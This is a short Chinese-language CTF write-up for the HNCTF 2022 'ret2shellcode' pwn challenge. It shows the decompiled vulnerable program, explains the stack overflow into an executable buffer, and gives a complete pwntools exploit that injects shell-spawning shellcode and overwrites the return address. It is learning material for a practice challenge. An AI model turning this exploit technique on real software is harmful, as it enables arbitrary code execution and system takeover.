[HNCTF 2022 Week1]ret2shellcode

第一次打CTF——PWN篇学习笔记17

int __fastcall main(int argc, const char **argv, const char **envp) { char s[256]; // [rsp+0h] [rbp-100h] BYREF ​ setbuf(stdin, 0); setbuf(stderr, 0); setbuf(stdout, 0); mprotect((void *)((unsigned __int64)&stdout & 0xFFFFFFFFFFFFF000LL), 0x1000u, 7); memset(s, 0, sizeof(s)); read(0, s, 0x110u); strcpy(buff, s); return 0; }

checksec一下没有特殊的保护机制，程序先把stdout所在的内存页变成可读可写可执行，然后read一下发生栈溢出再将s的内容拷贝到buff中，因此我们可以构造payload使其前部分为没有'\0'的shellcode，接着覆盖返回地址到buff来执行shellcode从而获得flag

from pwn import * import struct ​ context.arch = 'amd64' context.os = 'linux' ​ #io = process('./shellcode') io = remote("node5.anna.nssctf.cn",23229) ​ buff = 0x4040A0 ​ shellcode = asm(shellcraft.sh()) ​ payload = shellcode.ljust(0x100 + 8,b'A') + p64(buff) ​ io.sendline(payload) ​ io.interactive()